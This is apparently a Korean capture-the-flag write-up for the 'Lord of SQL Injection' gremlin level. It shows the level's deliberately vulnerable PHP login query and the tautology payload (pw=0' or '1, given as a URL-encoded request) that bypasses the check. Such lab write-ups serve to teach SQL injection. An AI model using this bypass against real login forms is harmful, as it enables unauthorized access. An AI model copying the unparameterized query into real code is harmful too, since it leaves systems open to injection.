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1. LOS gremlin.md

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LOS gramlin

Keys

php source

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

admin 으로 login 하는 문제이다. 따라서 id 에는 admin 을 넣고 pw 부분을 참으로 만들면 된다.
id = admin , pw = 0 or 1

Query

Query

select id from prob_gremlin where id='admin' and pw='0' or '1'

Input value

http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=admin&pw=0%27%20or%20%271

%27 은 ' 이고, %20 은 (스페이스) 이다.

Attack